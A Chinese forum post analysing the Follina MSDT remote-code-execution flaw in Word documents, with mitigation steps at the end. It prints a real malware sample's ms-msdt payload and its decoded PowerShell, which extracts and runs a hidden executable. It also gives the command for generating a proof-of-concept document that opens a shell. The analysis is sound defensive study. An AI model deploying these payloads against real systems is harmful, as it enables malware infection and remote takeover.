本帖最后由 guxinlei 于 2022-12-22 16:38 编辑
微软官方介绍: https://msrc-blog.microsoft.com/ ... tool-vulnerability/
在微软官方的介绍里,我们可以看到,这个漏洞是从Word等调用应用程序使用URL协议,调用MSDT时存在远程执行代码漏洞。
成功利用此漏洞的攻击者可以使用调用应用程序的权限运行任意代码。
要利用此漏洞,攻击者只需要用户打开恶意文档即可,保存为RTF文件后,用户只是预览恶意文件,不用单击或者双击恶意文件也会执行代码。
我们可以在any.run上下载样例和漏洞代码,进行分析。
https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/
将样例放到linux上来进行分析。因为这个漏洞是从 Word 等调用应用程序使用 URL 协议调用 MSDT 时存在远程执行代码漏洞,也就是文档的xml文件从外部引用了一个链接,然后执行了恶意代码。
所以我们可以使用unzip命令解压word文档,来分析这个xml文件
漏洞利用发生在这个 word/_rels/document.xml里,我们打开分析,发现有一处地方引用了外部链接。
我们通过在any.run上查看这个被引用文件的源代码,发现重点是这一段:
- window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param "IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=h$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'JGNtZCA9ICJjOlx3aW5kb3dzXHN5c3RlbTMyXGNtZC5leGUiO1N0YXJ0LVByb2Nlc3MgJGNtZCAtd2luZG93c3R5bGUgaGlkZGVuIC1Bcmd1bWVudExpc3QgIi9jIHRhc2traWxsIC9mIC9pbSBtc2R0LmV4ZSI7U3RhcnQtUHJvY2VzcyAkY21kIC13aW5kb3dzdHlsZSBoaWRkZW4gLUFyZ3VtZW50TGlzdCAiL2MgY2QgQzpcdXNlcnNccHVibGljXCYmZm9yIC9yICV0ZW1wJSAlaSBpbiAoMDUtMjAyMi0wNDM4LnJhcikgZG8gY29weSAlaSAxLnJhciAveSYmZmluZHN0ciBUVk5EUmdBQUFBIDEucmFyPjEudCYmY2VydHV0aWwgLWRlY29kZSAxLnQgMS5jICYmZXhwYW5kIDEuYyAtRjoqIC4mJnJnYi5leGUiOw=='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO"";
复制代码分析后得出:
- window.location.href:设置了一个窗口
- ms-msdt:是windows的诊断工具
- 之后就是ms-msdt的一些参数,不重要
复制代码
我们可以看到代码调用了powershell,执行的内容经过了base64加密,我们解密看一下。
解密后可以看到以下内容:
- $cmd = "c:\windows\system32\cmd.exe";
- Start-Process $cmd -windowstyle hidden -ArgumentList "/c taskkill /f /im msdt.exe";
- Start-Process $cmd -windowstyle hidden -ArgumentList "/c cd C:\users\public\&&for /r %temp% %i in (05-2022-0438.rar) do copy %i 1.rar /y&&findstr TVNDRgAAAA 1.rar>1.t&&certutil -decode 1.t 1.c &&expand 1.c -F:* .&&rgb.exe";
复制代码
经过分析后我们可以看到代码的用意:
- 启动隐藏窗口后:
- 如果 msdt.exe 正在运行,则终止它
- 循环遍历 RAR 文件中的文件,查找编码 CAB 文件的 Base64 字符串
- 将此 Base64 编码的 CAB 文件存储为1.t
- 解码Base64编码的CAB文件保存为1.c
- 将1.c CAB文件展开到当前目录,最后:
- 执行rgb.exe
复制代码
关键就在这里,windows会毫无限制的盲目执行这个powershell,如果我们修改成想执行的代码,就会导致远程代码执行漏洞。
漏洞利用的办法很简单,我们只需要修改一下这个xml文件,引用网站上的恶意代码就好了。
下面讲一下POC利用
POC利用
POC下载: https://github.com/JohnHammond/msdt-follina
获取shell:
- python3 follina.py -r 4444
复制代码 运行后会在这个POC的目录里生成一个follina.doc文档,我们下载他,然后放到靶机上执行。
靶机执行后,成功拿到shell。
漏洞修复
修复漏洞很简单,安装补丁即可。
也可以在cmd中执行以下两条命令:
- reg export HKEY_CLASSES_ROOT\ms-msdt filename
- reg delete HKEY_CLASSES_ROOT\ms-msdt /f
复制代码
|
要不要下学期用这个来搞
使用道具 举报
可以
使用道具 举报
6
使用道具 举报